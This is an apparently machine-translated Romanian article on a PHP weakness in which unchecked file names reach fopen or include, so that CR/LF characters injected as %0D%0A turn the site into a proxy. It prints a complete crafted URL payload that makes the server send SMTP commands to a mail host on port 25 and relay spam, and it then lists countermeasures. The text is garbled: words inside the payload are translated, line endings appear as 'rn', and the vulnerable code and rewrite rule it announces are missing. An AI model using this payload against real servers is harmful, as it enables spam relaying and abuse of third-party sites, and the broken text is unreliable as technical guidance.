Funcțiile fopen, file, include și necesită deschiderea fișierelor de pe alte site-uri prin intermediul protocoalelor http și ftp. Această posibilitate are o potențială vulnerabilitate în script-urile php, ceea ce permite utilizarea site-ului ca proxy.
Nu vă avertizez nimic nou în acest material nu va. În ciuda posibilităților impresionante pentru un atacator, această vulnerabilitate este pur și simplu o combinație a proprietăților bine-cunoscute ale php.
În Internetul în limba rusă, această vulnerabilitate practic nu era acoperită. Pe site-urile de securitate rusă, nu am putut găsi un raport direct privind această vulnerabilitate.
Vulnerabilitate: Împachetare de adrese URL
CR / LF în cererile HTTP
Combinația dintre caracterele de retur și caracterele liniare în cererea HTTP separă anteturile. Detalii despre acest lucru pot fi găsite în articolul lui Anton Kalmykov "Generarea cererilor HTTP". Această combinație de caractere poate fi trecută în cererea GET ca "% 0D% 0A".
Intrare nesupusă
Pe multe site-uri, paginile sunt generate de un script de șablon. Scriptul redirecționează toate solicitările către site. Din REQUEST_URI se ia numele fișierului care urmează să fie deschis. Fișierul este citit, un șablon cu navigare, un capac etc. este adăugat la acesta. iar rezultatul este dat clientului.
Un programator non-sofisticat sau neexperimentat poate scrie cu ușurință un fișier deschis fără a verifica datele:
scriptul va executa o solicitare HTTP:
Ultimile trei linii ale scriptului sunt adăugate automat, dar cele două rn înaintea lor indică sfârșitul interogării. Astfel, un script neprotejat poate fi folosit ca server proxy. Cunoscând câteva site-uri "gălăgioase", un atacator poate construi un lanț de la ei, astfel încât să fie mai greu de găsit.
Exploatare inteligentă
index.php? f = http% 3A% 2F% 2Fmail.example.com% 3A25% 2F + HTTP / 1.0% 0D% 0AHELO + my.own.machine% 0D% 0AMAIL + FROM% 3A% 3Cme% 40my.own. mașină% 3E% 0D% 0ARCPT + LA% 3A% 3Cinfo% 40site1.st% 3E% 0D% 0ADATA% 0D% 0Ai + va + n + + spune cuvântul + + + amânați din nou% 0D% 0A.% 0D% 0AQUIT % 0D% 0A% 0D% 0A
(ar trebui să fie o singură linie) Modulul PHP se va conecta la serverul mail.example.com din portul 25 și va trimite următoarea solicitare:
GET / HTTP / 1.0rn
HELO my.own.machinern
MAIL FROM: rn
RCPT TO: rn
DATArn
Nu voi spune niciodată cuvântul PROCRASTINATE din nou
.rn
QUITrnrn
HTTP / 1.0rn
Host: mail.site1.st:25rn
User-Agent: PHP / 4.1.2nrn
Exploatarea măsurilor de protecție
În calitate de dezvoltator sau proprietar de site-uri web, este important să faceți tot posibilul pentru a vă asigura că nimeni nu poate trimite spam prin site-ul dvs. Dacă se întâmplă acest lucru, el va fi trimis de la un anumit dialup hawaian, al cărui proprietar nu înțelege limba umană, iar ultima vă poate face.
Verificarea istoricului interogărilor
Configurarea php
Cea mai ușoară modalitate de a dezactiva o posibilă vulnerabilitate este de a împiedica deschiderea adreselor URL prin intermediul funcțiilor fișierelor. Dacă sunteți administratorul serverului dvs. - dezactivați permis_url_fopen în setările php. Dacă sunteți doar un client - interdicție locală. Fișierul .htaccess la rădăcina site-ului scrie o linie: php_value allow_url_fopen 0 Dacă sunteți un web hosting rău furnizor, puteți dezactiva URL-ul fopen înveliș pentru toți clienții care utilizează directiva php_admin_value. Activarea modului de siguranță (modul sigur) în acest caz nu ajută, funcția continuă să funcționeze corect.
Schimbarea codului
Terminați lucrul cu o cerere în afara cererii
Un client care scanează site-ul pentru variabilele necontrolate creează trafic inutil și încarcă procesorul serverului. Este clar că nu are nevoie de paginile generate de site-ul dvs. dacă nu funcționează ca proxy. Este de dorit să omori astfel de solicitări înainte de a lansa interpretul php. Acest lucru se poate face cu modulul mod_rewrite. În fișierul .htaccess din rădăcina site-ului am pus această linie:
Se presupune că site-ul nu va fi trimis utilizând formularele metodelor GET cu intrări de utilizator multi-linie. În caz contrar, vor fi oprite de această regulă.